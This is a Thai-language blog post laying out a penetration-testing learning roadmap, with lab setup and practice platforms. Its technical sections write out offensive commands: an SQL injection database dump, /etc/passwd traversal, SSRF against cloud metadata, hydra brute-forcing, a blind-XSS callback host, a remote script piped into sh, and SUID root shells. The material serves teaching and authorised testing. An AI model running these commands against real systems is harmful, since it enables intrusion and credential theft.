SiamCafe.net Blog
Cybersecurity

penetration testing course

penetration testing course
penetration testing course | SiamCafe Blog
2025-10-24· อ. บอม — SiamCafe.net· 10,829 คำ

Penetration Testing คืออะไร

Penetration Testing หรือที่เรียกสั้นๆว่า Pentest คือกระบวนการทดสอบเจาะระบบอย่างเป็นระบบเพื่อค้นหาช่องโหว่ด้านความปลอดภัยก่อนที่ผู้ไม่หวังดีจะค้นพบ ผู้ทดสอบจะจำลองการโจมตีจากมุมมองของ Attacker โดยใช้เครื่องมือและเทคนิคเดียวกันกับ Hacker จริงๆ แต่ทำภายใต้ขอบเขตและกฎที่ตกลงกันไว้ล่วงหน้า (Rules of Engagement)

Penetration Testing แบ่งออกเป็นหลายประเภทตามขอบเขตของการทดสอบ ได้แก่ Network Pentest ที่เน้นทดสอบโครงสร้างพื้นฐานเครือข่าย, Web Application Pentest ที่เน้นแอปพลิเคชันบนเว็บ, Mobile Application Pentest สำหรับแอปมือถือ, Wireless Pentest สำหรับเครือข่ายไร้สาย และ Social Engineering ที่ทดสอบความตระหนักของบุคลากร

เส้นทางการเรียน Penetration Testing — Roadmap ฉบับใช้งานจริง

การเรียน Pentest ควรเริ่มต้นอย่างเป็นขั้นตอน ไม่ควรกระโดดข้ามไปเรียนเครื่องมือขั้นสูงโดยไม่มีพื้นฐาน เพราะจะทำให้ไม่เข้าใจหลักการทำงานเบื้องหลัง

ขั้นที่ 1: พื้นฐาน Network และ Linux (1-2 เดือน)

ขั้นที่ 2: Reconnaissance และ Scanning (1 เดือน)

ขั้นที่ 3: Exploitation (2-3 เดือน)

ขั้นที่ 4: สอบใบรับรอง (3-6 เดือน)

การตั้งค่า Lab สำหรับฝึก Pentest

การมี Lab ส่วนตัวเป็นสิ่งจำเป็นสำหรับการฝึก Pentest อย่างต่อเนื่อง ต่อไปนี้เป็นวิธีสร้าง Lab บนเครื่องตัวเองด้วย VirtualBox

# ติดตั้ง VirtualBox บน Ubuntu
sudo apt update
sudo apt install -y virtualbox virtualbox-ext-pack

# ดาวน์โหลด Kali Linux OVA
wget https://cdimage.kali.org/kali-2025.1/kali-linux-2025.1-virtualbox-amd64.ova

# Import Kali Linux เข้า VirtualBox
VBoxManage import kali-linux-2025.1-virtualbox-amd64.ova

# สร้าง Internal Network สำหรับ Lab
VBoxManage natnetwork add --netname PentestLab --network "10.10.10.0/24" --enable --dhcp on

# ดาวน์โหลด Vulnerable Machine สำหรับฝึก
# Metasploitable 3
git clone https://github.com/rapid7/metasploitable3.git
cd metasploitable3
vagrant up

# DVWA (Damn Vulnerable Web Application)
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa

# ตรวจสอบว่า Lab พร้อมใช้งาน
VBoxManage list runningvms
docker ps

Reconnaissance — การรวบรวมข้อมูลเป้าหมาย

Reconnaissance เป็นขั้นตอนแรกและสำคัญที่สุดของ Pentest ข้อมูลที่ได้จากขั้นตอนนี้จะกำหนดทิศทางการโจมตีทั้งหมด

# Passive Reconnaissance
# ค้นหา Subdomain ด้วย subfinder
subfinder -d target.com -o subdomains.txt

# ค้นหาข้อมูลจาก Certificate Transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  python3 -c "import sys, json; [print(x['name_value']) for x in json.load(sys.stdin)]" | \
  sort -u > ct-subdomains.txt

# Active Reconnaissance
# Nmap Full Port Scan + Service Detection
sudo nmap -sS -sV -sC -O -p- -T4 --min-rate 1000 \
  -oA nmap_full 10.10.10.50

# Nmap Vulnerability Scan
sudo nmap --script vuln -p 80,443,22,21,3306 10.10.10.50

# Web Enumeration ด้วย gobuster
gobuster dir -u http://10.10.10.50 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php, html, txt, bak -t 50 -o gobuster_results.txt

# ค้นหา Virtual Hosts
gobuster vhost -u http://target.com \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -t 50 --append-domain

Web Application Penetration Testing — ทดสอบเจาะเว็บแอปพลิเคชัน

Web Application เป็นเป้าหมายที่พบบ่อยที่สุดใน Pentest เพราะเป็นจุดที่เปิดให้เข้าถึงจากภายนอก ช่องโหว่ที่พบบ่อยตาม OWASP Top 10 ได้แก่ SQL Injection, Cross-Site Scripting (XSS), Broken Authentication, IDOR และ Server-Side Request Forgery (SSRF)

# SQL Injection Testing ด้วย sqlmap
# ทดสอบ Parameter ที่น่าสงสัย
sqlmap -u "http://10.10.10.50/page.php?id=1" \
  --dbs --batch --random-agent

# ดึงข้อมูลจาก Database
sqlmap -u "http://10.10.10.50/page.php?id=1" \
  -D webapp_db -T users --dump --batch

# XSS Testing ด้วย dalfox
dalfox url "http://10.10.10.50/search?q=test" \
  --blind "https://your-callback.burpcollaborator.net"

# Directory Traversal Testing
curl -s "http://10.10.10.50/download?file=../../../etc/passwd"

# SSRF Testing
curl -s "http://10.10.10.50/fetch?url=http://169.254.169.254/latest/meta-data/"

# Burp Suite Intruder — Brute Force Login
# สร้าง Payload List
cat > usernames.txt << 'EOF'
admin
administrator
root
user
test
EOF

# ใช้ hydra สำหรับ HTTP Form Brute Force
hydra -L usernames.txt \
  -P /usr/share/wordlists/rockyou.txt \
  10.10.10.50 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:Invalid credentials" \
  -t 16 -f

Privilege Escalation — การยกระดับสิทธิ์

หลังจากได้ Initial Access แล้ว ขั้นตอนต่อไปคือ Privilege Escalation เพื่อยกระดับสิทธิ์จาก User ธรรมดาเป็น Root หรือ SYSTEM

Linux Privilege Escalation

# ตรวจสอบ SUID Binaries
find / -perm -4000 -type f 2>/dev/null

# ตรวจสอบ sudo permissions
sudo -l

# ค้นหา Writable Files ของ Root
find / -writable -type f 2>/dev/null | grep -v proc

# ตรวจสอบ Cron Jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /var/spool/cron/crontabs/

# ตรวจสอบ Kernel Version สำหรับ Kernel Exploit
uname -a
cat /etc/os-release

# ใช้ linPEAS สำหรับ Automated Enumeration
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# GTFOBins — ใช้ SUID Binary ยกระดับสิทธิ์
# ตัวอย่าง: find มี SUID bit
find . -exec /bin/sh -p \; -quit

# ตัวอย่าง: python3 มี SUID bit
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Windows Privilege Escalation

# ตรวจสอบ User Privileges
whoami /priv
whoami /groups

# ค้นหา Unquoted Service Paths
wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "c:\windows"

# ตรวจสอบ AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# ใช้ winPEAS สำหรับ Automated Enumeration
.\winPEASx64.exe

# ตรวจสอบ Stored Credentials
cmdkey /list
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\*

Reporting — การเขียนรายงานผลการทดสอบ

รายงานผลการทดสอบเป็นส่วนที่มีคุณค่าที่สุดของ Pentest เพราะเป็นสิ่งที่ลูกค้าจะได้รับและนำไปใช้แก้ไขช่องโหว่ รายงานที่ดีต้องประกอบด้วย

แพลตฟอร์มฝึก Pentest ที่แนะนำ

แพลตฟอร์มระดับราคาจุดเด่น
TryHackMeเริ่มต้น-กลางฟรี/Premium $14/เดือนมี Learning Path ชัดเจน เหมาะสำหรับเริ่มต้น
HackTheBoxกลาง-สูงฟรี/VIP $14/เดือนมี Active Machines ให้ฝึกเจาะ ใกล้เคียง OSCP
PortSwigger Web Security Academyกลางฟรีเน้น Web App Security มี Lab ให้ฝึกทุก Vulnerability
VulnHubกลางฟรีมี VM ให้ดาวน์โหลดมาฝึกบนเครื่องตัวเอง
PentesterLabกลาง-สูง$20/เดือนมี Badge System และ Lab ที่ Cover หลาย Technology

แนวทางป้องกันภัยไซเบอร์สำหรับองค์กรไทย

ภัยคุกคามทางไซเบอร์ในปี 2026 มีความซับซ้อนมากขึ้น Ransomware ยังคงเป็นภัยอันดับหนึ่ง โดยผู้โจมตีใช้ AI ช่วยสร้าง Phishing Email ที่แนบเนียนขึ้น องค์กรควรมี Multi-Layered Security ตั้งแต่ Perimeter Defense ด้วย Next-Gen Firewall Endpoint Protection ด้วย EDR Solution และ Network Detection and Response

การฝึกอบรมพนักงานเป็นสิ่งสำคัญที่สุด เพราะ Human Error เป็นสาเหตุหลักของการรั่วไหลข้อมูล ควรจัด Security Awareness Training อย่างน้อยไตรมาสละครั้ง ทำ Phishing Simulation ทดสอบพนักงาน และมี Incident Response Plan ที่ชัดเจน ฝึกซ้อมเป็นประจำ

สำหรับกฎหมาย PDPA ของไทย องค์กรต้องมี Data Protection Officer แจ้งวัตถุประสงค์การเก็บข้อมูลอย่างชัดเจน ขอ Consent ก่อนใช้ข้อมูลส่วนบุคคล มีมาตรการรักษาความปลอดภัยที่เหมาะสม และแจ้งเหตุ Data Breach ภายใน 72 ชั่วโมง

Penetration Testing Course ควรเริ่มเรียนจากอะไร

ควรเริ่มจากพื้นฐาน Network โดยเฉพาะ TCP/IP, DNS, HTTP แล้วเรียนรู้ Linux Command Line ให้คล่อง จากนั้นฝึกบน Lab อย่าง TryHackMe เพื่อสร้างพื้นฐานก่อนเข้าคอร์สเต็มรูปแบบอย่าง OffSec PEN-200 การมีพื้นฐานที่แข็งแรงจะทำให้เรียนรู้เครื่องมือขั้นสูงได้เร็วขึ้นมาก

สอบ OSCP ยากแค่ไหนและต้องเตรียมตัวนานเท่าไร

OSCP เป็นข้อสอบ Hands-on ระยะเวลา 24 ชั่วโมงที่ต้องเจาะเครื่อง Active Directory Set และ Standalone Machines ควรเตรียมตัวอย่างน้อย 3-6 เดือนโดยฝึกบน HackTheBox และ Proving Grounds ทุกวัน ผู้ที่สอบผ่านส่วนใหญ่ฝึกเจาะเครื่องมากกว่า 50 เครื่องก่อนสอบ

เรียน Penetration Testing จบแล้วทำงานอะไรได้บ้าง

สามารถทำงานเป็น Penetration Tester, Security Consultant, Red Team Operator, Bug Bounty Hunter หรือ Security Auditor เงินเดือนในไทยเริ่มต้น 40,000-80,000 บาท ระดับ Senior อาจถึง 150,000 บาทขึ้นไป และยังมีโอกาสรับงาน Remote จากบริษัทต่างชาติที่จ่ายเป็น USD

ต้องเก่ง Programming แค่ไหนถึงจะเรียน Pentest ได้

ไม่จำเป็นต้องเก่ง Programming แต่ควรอ่าน Python และ Bash Script ได้ สามารถเขียน Script อัตโนมัติง่ายๆ เช่น Script สำหรับ Enumerate หรือ Parse Output ได้ และอ่าน Exploit Code ของคนอื่นเข้าใจว่ามันทำงานอย่างไรก่อนนำไปใช้

สรุปและแนวทางปฏิบัติ

Penetration Testing เป็นทักษะที่ต้องฝึกฝนอย่างต่อเนื่อง ไม่ใช่สิ่งที่เรียนจากหนังสือเพียงอย่างเดียวแล้วจะเข้าใจได้ การฝึกบน Lab จริงทุกวันคือกุญแจสำคัญ ควรเริ่มจากพื้นฐาน Network และ Linux ให้แข็งแรงก่อน จากนั้นค่อยๆเรียนรู้เครื่องมือและเทคนิคต่างๆ ฝึกเจาะเครื่องบน TryHackMe และ HackTheBox จนมั่นใจแล้วจึงลงทะเบียนสอบ OSCP เพื่อรับใบรับรองที่เป็นที่ยอมรับในวงการ Cybersecurity ทั่วโลก

📖 บทความที่เกี่ยวข้อง

penetration testing servicesอ่านบทความ → web application hacking and penetration testingอ่านบทความ → vulnerability and penetration testing policyอ่านบทความ → penetration testing nycอ่านบทความ → forex free courseอ่านบทความ →

📚 ดูบทความทั้งหมด →